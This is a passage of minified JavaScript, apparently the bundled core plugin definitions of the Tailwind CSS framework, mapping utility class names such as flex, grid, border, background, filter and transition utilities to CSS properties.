dense"}})},gridAutoRows:T("gridAutoRows",[["auto-rows",["gridAutoRows"]]]),gridTemplateColumns:T("gridTemplateColumns",[["grid-cols",["gridTemplateColumns"]]]),gridTemplateRows:T("gridTemplateRows",[["grid-rows",["gridTemplateRows"]]]),flexDirection:({addUtilities:r})=>{r({".flex-row":{"flex-direction":"row"},".flex-row-reverse":{"flex-direction":"row-reverse"},".flex-col":{"flex-direction":"column"},".flex-col-reverse":{"flex-direction":"column-reverse"}})},flexWrap:({addUtilities:r})=>{r({".flex-wrap":{"flex-wrap":"wrap"},".flex-wrap-reverse":{"flex-wrap":"wrap-reverse"},".flex-nowrap":{"flex-wrap":"nowrap"}})},placeContent:({addUtilities:r})=>{r({".place-content-center":{"place-content":"center"},".place-content-start":{"place-content":"start"},".place-content-end":{"place-content":"end"},".place-content-between":{"place-content":"space-between"},".place-content-around":{"place-content":"space-around"},".place-content-evenly":{"place-content":"space-evenly"},".place-content-baseline":{"place-content":"baseline"},".place-content-stretch":{"place-content":"stretch"}})},placeItems:({addUtilities:r})=>{r({".place-items-start":{"place-items":"start"},".place-items-end":{"place-items":"end"},".place-items-center":{"place-items":"center"},".place-items-baseline":{"place-items":"baseline"},".place-items-stretch":{"place-items":"stretch"}})},alignContent:({addUtilities:r})=>{r({".content-center":{"align-content":"center"},".content-start":{"align-content":"flex-start"},".content-end":{"align-content":"flex-end"},".content-between":{"align-content":"space-between"},".content-around":{"align-content":"space-around"},".content-evenly":{"align-content":"space-evenly"},".content-baseline":{"align-content":"baseline"}})},alignItems:({addUtilities:r})=>{r({".items-start":{"align-items":"flex-start"},".items-end":{"align-items":"flex-end"},".items-center":{"align-items":"center"},".items-baseline":{"align-items":"baseline"},".items-stretch":{"align-items":"stretch"}})},justifyContent:({addUtilities:r})=>{r({".justify-start":{"justify-content":"flex-start"},".justify-end":{"justify-content":"flex-end"},".justify-center":{"justify-content":"center"},".justify-between":{"justify-content":"space-between"},".justify-around":{"justify-content":"space-around"},".justify-evenly":{"justify-content":"space-evenly"}})},justifyItems:({addUtilities:r})=>{r({".justify-items-start":{"justify-items":"start"},".justify-items-end":{"justify-items":"end"},".justify-items-center":{"justify-items":"center"},".justify-items-stretch":{"justify-items":"stretch"}})},gap:T("gap",[["gap",["gap"]],[["gap-x",["columnGap"]],["gap-y",["rowGap"]]]]),space:({matchUtilities:r,addUtilities:e,theme:t})=>{r({"space-x":i=>(i=i==="0"?"0px":i,{"& > :not([hidden]) ~ :not([hidden])":{"--tw-space-x-reverse":"0","margin-right":`calc(${i} * var(--tw-space-x-reverse))`,"margin-left":`calc(${i} * calc(1 - var(--tw-space-x-reverse)))`}}),"space-y":i=>(i=i==="0"?"0px":i,{"& > :not([hidden]) ~ :not([hidden])":{"--tw-space-y-reverse":"0","margin-top":`calc(${i} * calc(1 - var(--tw-space-y-reverse)))`,"margin-bottom":`calc(${i} * var(--tw-space-y-reverse))`}})},{values:t("space"),supportsNegativeValues:!0}),e({".space-y-reverse > :not([hidden]) ~ :not([hidden])":{"--tw-space-y-reverse":"1"},".space-x-reverse > :not([hidden]) ~ :not([hidden])":{"--tw-space-x-reverse":"1"}})},divideWidth:({matchUtilities:r,addUtilities:e,theme:t})=>{r({"divide-x":i=>(i=i==="0"?"0px":i,{"& > :not([hidden]) ~ :not([hidden])":{"@defaults border-width":{},"--tw-divide-x-reverse":"0","border-right-width":`calc(${i} * var(--tw-divide-x-reverse))`,"border-left-width":`calc(${i} * calc(1 - var(--tw-divide-x-reverse)))`}}),"divide-y":i=>(i=i==="0"?"0px":i,{"& > :not([hidden]) ~ :not([hidden])":{"@defaults border-width":{},"--tw-divide-y-reverse":"0","border-top-width":`calc(${i} * calc(1 - var(--tw-divide-y-reverse)))`,"border-bottom-width":`calc(${i} * var(--tw-divide-y-reverse))`}})},{values:t("divideWidth"),type:["line-width","length","any"]}),e({".divide-y-reverse > :not([hidden]) ~ :not([hidden])":{"@defaults border-width":{},"--tw-divide-y-reverse":"1"},".divide-x-reverse > :not([hidden]) ~ :not([hidden])":{"@defaults border-width":{},"--tw-divide-x-reverse":"1"}})},divideStyle:({addUtilities:r})=>{r({".divide-solid > :not([hidden]) ~ :not([hidden])":{"border-style":"solid"},".divide-dashed > :not([hidden]) ~ :not([hidden])":{"border-style":"dashed"},".divide-dotted > :not([hidden]) ~ :not([hidden])":{"border-style":"dotted"},".divide-double > :not([hidden]) ~ :not([hidden])":{"border-style":"double"},".divide-none > :not([hidden]) ~ :not([hidden])":{"border-style":"none"}})},divideColor:({matchUtilities:r,theme:e,corePlugins:t})=>{r({divide:i=>t("divideOpacity")?{["& > :not([hidden]) ~ :not([hidden])"]:le({color:i,property:"border-color",variable:"--tw-divide-opacity"})}:{["& > :not([hidden]) ~ :not([hidden])"]:{"border-color":$(i)}}},{values:(({DEFAULT:i,...n})=>n)(Z(e("divideColor"))),type:["color","any"]})},divideOpacity:({matchUtilities:r,theme:e})=>{r({"divide-opacity":t=>({["& > :not([hidden]) ~ :not([hidden])"]:{"--tw-divide-opacity":t}})},{values:e("divideOpacity")})},placeSelf:({addUtilities:r})=>{r({".place-self-auto":{"place-self":"auto"},".place-self-start":{"place-self":"start"},".place-self-end":{"place-self":"end"},".place-self-center":{"place-self":"center"},".place-self-stretch":{"place-self":"stretch"}})},alignSelf:({addUtilities:r})=>{r({".self-auto":{"align-self":"auto"},".self-start":{"align-self":"flex-start"},".self-end":{"align-self":"flex-end"},".self-center":{"align-self":"center"},".self-stretch":{"align-self":"stretch"},".self-baseline":{"align-self":"baseline"}})},justifySelf:({addUtilities:r})=>{r({".justify-self-auto":{"justify-self":"auto"},".justify-self-start":{"justify-self":"start"},".justify-self-end":{"justify-self":"end"},".justify-self-center":{"justify-self":"center"},".justify-self-stretch":{"justify-self":"stretch"}})},overflow:({addUtilities:r})=>{r({".overflow-auto":{overflow:"auto"},".overflow-hidden":{overflow:"hidden"},".overflow-clip":{overflow:"clip"},".overflow-visible":{overflow:"visible"},".overflow-scroll":{overflow:"scroll"},".overflow-x-auto":{"overflow-x":"auto"},".overflow-y-auto":{"overflow-y":"auto"},".overflow-x-hidden":{"overflow-x":"hidden"},".overflow-y-hidden":{"overflow-y":"hidden"},".overflow-x-clip":{"overflow-x":"clip"},".overflow-y-clip":{"overflow-y":"clip"},".overflow-x-visible":{"overflow-x":"visible"},".overflow-y-visible":{"overflow-y":"visible"},".overflow-x-scroll":{"overflow-x":"scroll"},".overflow-y-scroll":{"overflow-y":"scroll"}})},overscrollBehavior:({addUtilities:r})=>{r({".overscroll-auto":{"overscroll-behavior":"auto"},".overscroll-contain":{"overscroll-behavior":"contain"},".overscroll-none":{"overscroll-behavior":"none"},".overscroll-y-auto":{"overscroll-behavior-y":"auto"},".overscroll-y-contain":{"overscroll-behavior-y":"contain"},".overscroll-y-none":{"overscroll-behavior-y":"none"},".overscroll-x-auto":{"overscroll-behavior-x":"auto"},".overscroll-x-contain":{"overscroll-behavior-x":"contain"},".overscroll-x-none":{"overscroll-behavior-x":"none"}})},scrollBehavior:({addUtilities:r})=>{r({".scroll-auto":{"scroll-behavior":"auto"},".scroll-smooth":{"scroll-behavior":"smooth"}})},textOverflow:({addUtilities:r})=>{r({".truncate":{overflow:"hidden","text-overflow":"ellipsis","white-space":"nowrap"},".overflow-ellipsis":{"text-overflow":"ellipsis"},".text-ellipsis":{"text-overflow":"ellipsis"},".text-clip":{"text-overflow":"clip"}})},whitespace:({addUtilities:r})=>{r({".whitespace-normal":{"white-space":"normal"},".whitespace-nowrap":{"white-space":"nowrap"},".whitespace-pre":{"white-space":"pre"},".whitespace-pre-line":{"white-space":"pre-line"},".whitespace-pre-wrap":{"white-space":"pre-wrap"}})},wordBreak:({addUtilities:r})=>{r({".break-normal":{"overflow-wrap":"normal","word-break":"normal"},".break-words":{"overflow-wrap":"break-word"},".break-all":{"word-break":"break-all"},".break-keep":{"word-break":"keep-all"}})},borderRadius:T("borderRadius",[["rounded",["border-radius"]],[["rounded-t",["border-top-left-radius","border-top-right-radius"]],["rounded-r",["border-top-right-radius","border-bottom-right-radius"]],["rounded-b",["border-bottom-right-radius","border-bottom-left-radius"]],["rounded-l",["border-top-left-radius","border-bottom-left-radius"]]],[["rounded-tl",["border-top-left-radius"]],["rounded-tr",["border-top-right-radius"]],["rounded-br",["border-bottom-right-radius"]],["rounded-bl",["border-bottom-left-radius"]]]]),borderWidth:T("borderWidth",[["border",[["@defaults border-width",{}],"border-width"]],[["border-x",[["@defaults border-width",{}],"border-left-width","border-right-width"]],["border-y",[["@defaults border-width",{}],"border-top-width","border-bottom-width"]]],[["border-t",[["@defaults border-width",{}],"border-top-width"]],["border-r",[["@defaults border-width",{}],"border-right-width"]],["border-b",[["@defaults border-width",{}],"border-bottom-width"]],["border-l",[["@defaults border-width",{}],"border-left-width"]]]],{type:["line-width","length"]}),borderStyle:({addUtilities:r})=>{r({".border-solid":{"border-style":"solid"},".border-dashed":{"border-style":"dashed"},".border-dotted":{"border-style":"dotted"},".border-double":{"border-style":"double"},".border-hidden":{"border-style":"hidden"},".border-none":{"border-style":"none"}})},borderColor:({matchUtilities:r,theme:e,corePlugins:t})=>{r({border:i=>t("borderOpacity")?le({color:i,property:"border-color",variable:"--tw-border-opacity"}):{"border-color":$(i)}},{values:(({DEFAULT:i,...n})=>n)(Z(e("borderColor"))),type:["color","any"]}),r({"border-x":i=>t("borderOpacity")?le({color:i,property:["border-left-color","border-right-color"],variable:"--tw-border-opacity"}):{"border-left-color":$(i),"border-right-color":$(i)},"border-y":i=>t("borderOpacity")?le({color:i,property:["border-top-color","border-bottom-color"],variable:"--tw-border-opacity"}):{"border-top-color":$(i),"border-bottom-color":$(i)}},{values:(({DEFAULT:i,...n})=>n)(Z(e("borderColor"))),type:["color","any"]}),r({"border-t":i=>t("borderOpacity")?le({color:i,property:"border-top-color",variable:"--tw-border-opacity"}):{"border-top-color":$(i)},"border-r":i=>t("borderOpacity")?le({color:i,property:"border-right-color",variable:"--tw-border-opacity"}):{"border-right-color":$(i)},"border-b":i=>t("borderOpacity")?le({color:i,property:"border-bottom-color",variable:"--tw-border-opacity"}):{"border-bottom-color":$(i)},"border-l":i=>t("borderOpacity")?le({color:i,property:"border-left-color",variable:"--tw-border-opacity"}):{"border-left-color":$(i)}},{values:(({DEFAULT:i,...n})=>n)(Z(e("borderColor"))),type:["color","any"]})},borderOpacity:T("borderOpacity",[["border-opacity",["--tw-border-opacity"]]]),backgroundColor:({matchUtilities:r,theme:e,corePlugins:t})=>{r({bg:i=>t("backgroundOpacity")?le({color:i,property:"background-color",variable:"--tw-bg-opacity"}):{"background-color":$(i)}},{values:Z(e("backgroundColor")),type:["color","any"]})},backgroundOpacity:T("backgroundOpacity",[["bg-opacity",["--tw-bg-opacity"]]]),backgroundImage:T("backgroundImage",[["bg",["background-image"]]],{type:["lookup","image","url"]}),gradientColorStops:(()=>{function r(e){return qe(e,0,"rgb(255 255 255 / 0)")}return function({matchUtilities:e,theme:t}){let i={values:Z(t("gradientColorStops")),type:["color","any"]};e({from:n=>{let s=r(n);return{"--tw-gradient-from":$(n,"from"),"--tw-gradient-to":s,"--tw-gradient-stops":"var(--tw-gradient-from), var(--tw-gradient-to)"}}},i),e({via:n=>({"--tw-gradient-to":r(n),"--tw-gradient-stops":`var(--tw-gradient-from), ${$(n,"via")}, var(--tw-gradient-to)`})},i),e({to:n=>({"--tw-gradient-to":$(n,"to")})},i)}})(),boxDecorationBreak:({addUtilities:r})=>{r({".decoration-slice":{"box-decoration-break":"slice"},".decoration-clone":{"box-decoration-break":"clone"},".box-decoration-slice":{"box-decoration-break":"slice"},".box-decoration-clone":{"box-decoration-break":"clone"}})},backgroundSize:T("backgroundSize",[["bg",["background-size"]]],{type:["lookup","length","percentage","size"]}),backgroundAttachment:({addUtilities:r})=>{r({".bg-fixed":{"background-attachment":"fixed"},".bg-local":{"background-attachment":"local"},".bg-scroll":{"background-attachment":"scroll"}})},backgroundClip:({addUtilities:r})=>{r({".bg-clip-border":{"background-clip":"border-box"},".bg-clip-padding":{"background-clip":"padding-box"},".bg-clip-content":{"background-clip":"content-box"},".bg-clip-text":{"background-clip":"text"}})},backgroundPosition:T("backgroundPosition",[["bg",["background-position"]]],{type:["lookup",["position",{preferOnConflict:!0}]]}),backgroundRepeat:({addUtilities:r})=>{r({".bg-repeat":{"background-repeat":"repeat"},".bg-no-repeat":{"background-repeat":"no-repeat"},".bg-repeat-x":{"background-repeat":"repeat-x"},".bg-repeat-y":{"background-repeat":"repeat-y"},".bg-repeat-round":{"background-repeat":"round"},".bg-repeat-space":{"background-repeat":"space"}})},backgroundOrigin:({addUtilities:r})=>{r({".bg-origin-border":{"background-origin":"border-box"},".bg-origin-padding":{"background-origin":"padding-box"},".bg-origin-content":{"background-origin":"content-box"}})},fill:({matchUtilities:r,theme:e})=>{r({fill:t=>({fill:$(t)})},{values:Z(e("fill")),type:["color","any"]})},stroke:({matchUtilities:r,theme:e})=>{r({stroke:t=>({stroke:$(t)})},{values:Z(e("stroke")),type:["color","url","any"]})},strokeWidth:T("strokeWidth",[["stroke",["stroke-width"]]],{type:["length","number","percentage"]}),objectFit:({addUtilities:r})=>{r({".object-contain":{"object-fit":"contain"},".object-cover":{"object-fit":"cover"},".object-fill":{"object-fit":"fill"},".object-none":{"object-fit":"none"},".object-scale-down":{"object-fit":"scale-down"}})},objectPosition:T("objectPosition",[["object",["object-position"]]]),padding:T("padding",[["p",["padding"]],[["px",["padding-left","padding-right"]],["py",["padding-top","padding-bottom"]]],[["pt",["padding-top"]],["pr",["padding-right"]],["pb",["padding-bottom"]],["pl",["padding-left"]]]]),textAlign:({addUtilities:r})=>{r({".text-left":{"text-align":"left"},".text-center":{"text-align":"center"},".text-right":{"text-align":"right"},".text-justify":{"text-align":"justify"},".text-start":{"text-align":"start"},".text-end":{"text-align":"end"}})},textIndent:T("textIndent",[["indent",["text-indent"]]],{supportsNegativeValues:!0}),verticalAlign:({addUtilities:r,matchUtilities:e})=>{r({".align-baseline":{"vertical-align":"baseline"},".align-top":{"vertical-align":"top"},".align-middle":{"vertical-align":"middle"},".align-bottom":{"vertical-align":"bottom"},".align-text-top":{"vertical-align":"text-top"},".align-text-bottom":{"vertical-align":"text-bottom"},".align-sub":{"vertical-align":"sub"},".align-super":{"vertical-align":"super"}}),e({align:t=>({"vertical-align":t})})},fontFamily:({matchUtilities:r,theme:e})=>{r({font:t=>{let[i,n={}]=Array.isArray(t)&&ee(t[1])?t:[t],{fontFeatureSettings:s}=n;return{"font-family":Array.isArray(i)?i.join(", "):i,...s===void 0?{}:{"font-feature-settings":s}}}},{values:e("fontFamily"),type:["lookup","generic-name","family-name"]})},fontSize:({matchUtilities:r,theme:e})=>{r({text:t=>{let[i,n]=Array.isArray(t)?t:[t],{lineHeight:s,letterSpacing:a,fontWeight:o}=ee(n)?n:{lineHeight:n};return{"font-size":i,...s===void 0?{}:{"line-height":s},...a===void 0?{}:{"letter-spacing":a},...o===void 0?{}:{"font-weight":o}}}},{values:e("fontSize"),type:["absolute-size","relative-size","length","percentage"]})},fontWeight:T("fontWeight",[["font",["fontWeight"]]],{type:["lookup","number","any"]}),textTransform:({addUtilities:r})=>{r({".uppercase":{"text-transform":"uppercase"},".lowercase":{"text-transform":"lowercase"},".capitalize":{"text-transform":"capitalize"},".normal-case":{"text-transform":"none"}})},fontStyle:({addUtilities:r})=>{r({".italic":{"font-style":"italic"},".not-italic":{"font-style":"normal"}})},fontVariantNumeric:({addDefaults:r,addUtilities:e})=>{let t="var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)";r("font-variant-numeric",{"--tw-ordinal":" ","--tw-slashed-zero":" ","--tw-numeric-figure":" ","--tw-numeric-spacing":" ","--tw-numeric-fraction":" "}),e({".normal-nums":{"font-variant-numeric":"normal"},".ordinal":{"@defaults font-variant-numeric":{},"--tw-ordinal":"ordinal","font-variant-numeric":t},".slashed-zero":{"@defaults font-variant-numeric":{},"--tw-slashed-zero":"slashed-zero","font-variant-numeric":t},".lining-nums":{"@defaults font-variant-numeric":{},"--tw-numeric-figure":"lining-nums","font-variant-numeric":t},".oldstyle-nums":{"@defaults font-variant-numeric":{},"--tw-numeric-figure":"oldstyle-nums","font-variant-numeric":t},".proportional-nums":{"@defaults font-variant-numeric":{},"--tw-numeric-spacing":"proportional-nums","font-variant-numeric":t},".tabular-nums":{"@defaults font-variant-numeric":{},"--tw-numeric-spacing":"tabular-nums","font-variant-numeric":t},".diagonal-fractions":{"@defaults font-variant-numeric":{},"--tw-numeric-fraction":"diagonal-fractions","font-variant-numeric":t},".stacked-fractions":{"@defaults font-variant-numeric":{},"--tw-numeric-fraction":"stacked-fractions","font-variant-numeric":t}})},lineHeight:T("lineHeight",[["leading",["lineHeight"]]]),letterSpacing:T("letterSpacing",[["tracking",["letterSpacing"]]],{supportsNegativeValues:!0}),textColor:({matchUtilities:r,theme:e,corePlugins:t})=>{r({text:i=>t("textOpacity")?le({color:i,property:"color",variable:"--tw-text-opacity"}):{color:$(i)}},{values:Z(e("textColor")),type:["color","any"]})},textOpacity:T("textOpacity",[["text-opacity",["--tw-text-opacity"]]]),textDecoration:({addUtilities:r})=>{r({".underline":{"text-decoration-line":"underline"},".overline":{"text-decoration-line":"overline"},".line-through":{"text-decoration-line":"line-through"},".no-underline":{"text-decoration-line":"none"}})},textDecorationColor:({matchUtilities:r,theme:e})=>{r({decoration:t=>({"text-decoration-color":$(t)})},{values:Z(e("textDecorationColor")),type:["color","any"]})},textDecorationStyle:({addUtilities:r})=>{r({".decoration-solid":{"text-decoration-style":"solid"},".decoration-double":{"text-decoration-style":"double"},".decoration-dotted":{"text-decoration-style":"dotted"},".decoration-dashed":{"text-decoration-style":"dashed"},".decoration-wavy":{"text-decoration-style":"wavy"}})},textDecorationThickness:T("textDecorationThickness",[["decoration",["text-decoration-thickness"]]],{type:["length","percentage"]}),textUnderlineOffset:T("textUnderlineOffset",[["underline-offset",["text-underline-offset"]]],{type:["length","percentage","any"]}),fontSmoothing:({addUtilities:r})=>{r({".antialiased":{"-webkit-font-smoothing":"antialiased","-moz-osx-font-smoothing":"grayscale"},".subpixel-antialiased":{"-webkit-font-smoothing":"auto","-moz-osx-font-smoothing":"auto"}})},placeholderColor:({matchUtilities:r,theme:e,corePlugins:t})=>{r({placeholder:i=>t("placeholderOpacity")?{"&::placeholder":le({color:i,property:"color",variable:"--tw-placeholder-opacity"})}:{"&::placeholder":{color:$(i)}}},{values:Z(e("placeholderColor")),type:["color","any"]})},placeholderOpacity:({matchUtilities:r,theme:e})=>{r({"placeholder-opacity":t=>({["&::placeholder"]:{"--tw-placeholder-opacity":t}})},{values:e("placeholderOpacity")})},caretColor:({matchUtilities:r,theme:e})=>{r({caret:t=>({"caret-color":$(t)})},{values:Z(e("caretColor")),type:["color","any"]})},accentColor:({matchUtilities:r,theme:e})=>{r({accent:t=>({"accent-color":$(t)})},{values:Z(e("accentColor")),type:["color","any"]})},opacity:T("opacity",[["opacity",["opacity"]]]),backgroundBlendMode:({addUtilities:r})=>{r({".bg-blend-normal":{"background-blend-mode":"normal"},".bg-blend-multiply":{"background-blend-mode":"multiply"},".bg-blend-screen":{"background-blend-mode":"screen"},".bg-blend-overlay":{"background-blend-mode":"overlay"},".bg-blend-darken":{"background-blend-mode":"darken"},".bg-blend-lighten":{"background-blend-mode":"lighten"},".bg-blend-color-dodge":{"background-blend-mode":"color-dodge"},".bg-blend-color-burn":{"background-blend-mode":"color-burn"},".bg-blend-hard-light":{"background-blend-mode":"hard-light"},".bg-blend-soft-light":{"background-blend-mode":"soft-light"},".bg-blend-difference":{"background-blend-mode":"difference"},".bg-blend-exclusion":{"background-blend-mode":"exclusion"},".bg-blend-hue":{"background-blend-mode":"hue"},".bg-blend-saturation":{"background-blend-mode":"saturation"},".bg-blend-color":{"background-blend-mode":"color"},".bg-blend-luminosity":{"background-blend-mode":"luminosity"}})},mixBlendMode:({addUtilities:r})=>{r({".mix-blend-normal":{"mix-blend-mode":"normal"},".mix-blend-multiply":{"mix-blend-mode":"multiply"},".mix-blend-screen":{"mix-blend-mode":"screen"},".mix-blend-overlay":{"mix-blend-mode":"overlay"},".mix-blend-darken":{"mix-blend-mode":"darken"},".mix-blend-lighten":{"mix-blend-mode":"lighten"},".mix-blend-color-dodge":{"mix-blend-mode":"color-dodge"},".mix-blend-color-burn":{"mix-blend-mode":"color-burn"},".mix-blend-hard-light":{"mix-blend-mode":"hard-light"},".mix-blend-soft-light":{"mix-blend-mode":"soft-light"},".mix-blend-difference":{"mix-blend-mode":"difference"},".mix-blend-exclusion":{"mix-blend-mode":"exclusion"},".mix-blend-hue":{"mix-blend-mode":"hue"},".mix-blend-saturation":{"mix-blend-mode":"saturation"},".mix-blend-color":{"mix-blend-mode":"color"},".mix-blend-luminosity":{"mix-blend-mode":"luminosity"},".mix-blend-plus-lighter":{"mix-blend-mode":"plus-lighter"}})},boxShadow:(()=>{let r=je("boxShadow"),e=["var(--tw-ring-offset-shadow, 0 0 #0000)","var(--tw-ring-shadow, 0 0 #0000)","var(--tw-shadow)"].join(", ");return function({matchUtilities:t,addDefaults:i,theme:n}){i(" box-shadow",{"--tw-ring-offset-shadow":"0 0 #0000","--tw-ring-shadow":"0 0 #0000","--tw-shadow":"0 0 #0000","--tw-shadow-colored":"0 0 #0000"}),t({shadow:s=>{s=r(s);let a=_i(s);for(let o of a)!o.valid||(o.color="var(--tw-shadow-color)");return{"@defaults box-shadow":{},"--tw-shadow":s==="none"?"0 0 #0000":s,"--tw-shadow-colored":s==="none"?"0 0 #0000":hf(a),"box-shadow":e}}},{values:n("boxShadow"),type:["shadow"]})}})(),boxShadowColor:({matchUtilities:r,theme:e})=>{r({shadow:t=>({"--tw-shadow-color":$(t),"--tw-shadow":"var(--tw-shadow-colored)"})},{values:Z(e("boxShadowColor")),type:["color","any"]})},outlineStyle:({addUtilities:r})=>{r({".outline-none":{outline:"2px solid transparent","outline-offset":"2px"},".outline":{"outline-style":"solid"},".outline-dashed":{"outline-style":"dashed"},".outline-dotted":{"outline-style":"dotted"},".outline-double":{"outline-style":"double"}})},outlineWidth:T("outlineWidth",[["outline",["outline-width"]]],{type:["length","number","percentage"]}),outlineOffset:T("outlineOffset",[["outline-offset",["outline-offset"]]],{type:["length","number","percentage","any"],supportsNegativeValues:!0}),outlineColor:({matchUtilities:r,theme:e})=>{r({outline:t=>({"outline-color":$(t)})},{values:Z(e("outlineColor")),type:["color","any"]})},ringWidth:({matchUtilities:r,addDefaults:e,addUtilities:t,theme:i,config:n})=>{let s=(()=>{if(K(n(),"respectDefaultRingColorOpacity"))return i("ringColor.DEFAULT");let a=i("ringOpacity.DEFAULT","0.5");return i("ringColor")?.DEFAULT?qe(i("ringColor")?.DEFAULT,a,`rgb(147 197 253 / ${a})`):`rgb(147 197 253 / ${a})`})();e("ring-width",{"--tw-ring-inset":" ","--tw-ring-offset-width":i("ringOffsetWidth.DEFAULT","0px"),"--tw-ring-offset-color":i("ringOffsetColor.DEFAULT","#fff"),"--tw-ring-color":s,"--tw-ring-offset-shadow":"0 0 #0000","--tw-ring-shadow":"0 0 #0000","--tw-shadow":"0 0 #0000","--tw-shadow-colored":"0 0 #0000"}),r({ring:a=>({"@defaults ring-width":{},"--tw-ring-offset-shadow":"var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)","--tw-ring-shadow":`var(--tw-ring-inset) 0 0 0 calc(${a} + var(--tw-ring-offset-width)) var(--tw-ring-color)`,"box-shadow":["var(--tw-ring-offset-shadow)","var(--tw-ring-shadow)","var(--tw-shadow, 0 0 #0000)"].join(", ")})},{values:i("ringWidth"),type:"length"}),t({".ring-inset":{"@defaults ring-width":{},"--tw-ring-inset":"inset"}})},ringColor:({matchUtilities:r,theme:e,corePlugins:t})=>{r({ring:i=>t("ringOpacity")?le({color:i,property:"--tw-ring-color",variable:"--tw-ring-opacity"}):{"--tw-ring-color":$(i)}},{values:Object.fromEntries(Object.entries(Z(e("ringColor"))).filter(([i])=>i!=="DEFAULT")),type:["color","any"]})},ringOpacity:r=>{let{config:e}=r;return T("ringOpacity",[["ring-opacity",["--tw-ring-opacity"]]],{filterDefault:!K(e(),"respectDefaultRingColorOpacity")})(r)},ringOffsetWidth:T("ringOffsetWidth",[["ring-offset",["--tw-ring-offset-width"]]],{type:"length"}),ringOffsetColor:({matchUtilities:r,theme:e})=>{r({"ring-offset":t=>({"--tw-ring-offset-color":$(t)})},{values:Z(e("ringOffsetColor")),type:["color","any"]})},blur:({matchUtilities:r,theme:e})=>{r({blur:t=>({"--tw-blur":`blur(${t})`,"@defaults filter":{},filter:Re})},{values:e("blur")})},brightness:({matchUtilities:r,theme:e})=>{r({brightness:t=>({"--tw-brightness":`brightness(${t})`,"@defaults filter":{},filter:Re})},{values:e("brightness")})},contrast:({matchUtilities:r,theme:e})=>{r({contrast:t=>({"--tw-contrast":`contrast(${t})`,"@defaults filter":{},filter:Re})},{values:e("contrast")})},dropShadow:({matchUtilities:r,theme:e})=>{r({"drop-shadow":t=>({"--tw-drop-shadow":Array.isArray(t)?t.map(i=>`drop-shadow(${i})`).join(" "):`drop-shadow(${t})`,"@defaults filter":{},filter:Re})},{values:e("dropShadow")})},grayscale:({matchUtilities:r,theme:e})=>{r({grayscale:t=>({"--tw-grayscale":`grayscale(${t})`,"@defaults filter":{},filter:Re})},{values:e("grayscale")})},hueRotate:({matchUtilities:r,theme:e})=>{r({"hue-rotate":t=>({"--tw-hue-rotate":`hue-rotate(${t})`,"@defaults filter":{},filter:Re})},{values:e("hueRotate"),supportsNegativeValues:!0})},invert:({matchUtilities:r,theme:e})=>{r({invert:t=>({"--tw-invert":`invert(${t})`,"@defaults filter":{},filter:Re})},{values:e("invert")})},saturate:({matchUtilities:r,theme:e})=>{r({saturate:t=>({"--tw-saturate":`saturate(${t})`,"@defaults filter":{},filter:Re})},{values:e("saturate")})},sepia:({matchUtilities:r,theme:e})=>{r({sepia:t=>({"--tw-sepia":`sepia(${t})`,"@defaults filter":{},filter:Re})},{values:e("sepia")})},filter:({addDefaults:r,addUtilities:e})=>{r("filter",{"--tw-blur":" ","--tw-brightness":" ","--tw-contrast":" ","--tw-grayscale":" ","--tw-hue-rotate":" ","--tw-invert":" ","--tw-saturate":" ","--tw-sepia":" ","--tw-drop-shadow":" "}),e({".filter":{"@defaults filter":{},filter:Re},".filter-none":{filter:"none"}})},backdropBlur:({matchUtilities:r,theme:e})=>{r({"backdrop-blur":t=>({"--tw-backdrop-blur":`blur(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropBlur")})},backdropBrightness:({matchUtilities:r,theme:e})=>{r({"backdrop-brightness":t=>({"--tw-backdrop-brightness":`brightness(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropBrightness")})},backdropContrast:({matchUtilities:r,theme:e})=>{r({"backdrop-contrast":t=>({"--tw-backdrop-contrast":`contrast(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropContrast")})},backdropGrayscale:({matchUtilities:r,theme:e})=>{r({"backdrop-grayscale":t=>({"--tw-backdrop-grayscale":`grayscale(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropGrayscale")})},backdropHueRotate:({matchUtilities:r,theme:e})=>{r({"backdrop-hue-rotate":t=>({"--tw-backdrop-hue-rotate":`hue-rotate(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropHueRotate"),supportsNegativeValues:!0})},backdropInvert:({matchUtilities:r,theme:e})=>{r({"backdrop-invert":t=>({"--tw-backdrop-invert":`invert(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropInvert")})},backdropOpacity:({matchUtilities:r,theme:e})=>{r({"backdrop-opacity":t=>({"--tw-backdrop-opacity":`opacity(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropOpacity")})},backdropSaturate:({matchUtilities:r,theme:e})=>{r({"backdrop-saturate":t=>({"--tw-backdrop-saturate":`saturate(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropSaturate")})},backdropSepia:({matchUtilities:r,theme:e})=>{r({"backdrop-sepia":t=>({"--tw-backdrop-sepia":`sepia(${t})`,"@defaults backdrop-filter":{},"backdrop-filter":Me})},{values:e("backdropSepia")})},backdropFilter:({addDefaults:r,addUtilities:e})=>{r("backdrop-filter",{"--tw-backdrop-blur":" ","--tw-backdrop-brightness":" ","--tw-backdrop-contrast":" ","--tw-backdrop-grayscale":" ","--tw-backdrop-hue-rotate":" ","--tw-backdrop-invert":" ","--tw-backdrop-opacity":" ","--tw-backdrop-saturate":" ","--tw-backdrop-sepia":" "}),e({".backdrop-filter":{"@defaults backdrop-filter":{},"backdrop-filter":Me},".backdrop-filter-none":{"backdrop-filter":"none"}})},transitionProperty:({matchUtilities:r,theme:e})=>{let t=e("transitionTimingFunction.DEFAULT"),i=e("transitionDuration.DEFAULT");r({transition:n=>({"transition-property":n,...n==="none"?{}:{"transition-timing-function":t,"transition-duration":i}})},{values:e("transitionProperty")})},transitionDelay:T("transitionDelay",[["delay",["transitionDelay"]]]),transitionDuration:T("transitionDuration",[["duration",["transitionDuration"]]],{filterDefault:!0}),transitionTimingFunction:T("transitionTimingFunction",[["ease",["transitionTimingFunction"]]],{filterDefault:!0}),willChange:T("willChange",[["will-change",["will-change"]]]),content:T("content",[["content",["--tw-content",["content","var(--tw-content)"]]]])}});function aS(r){if(r===void 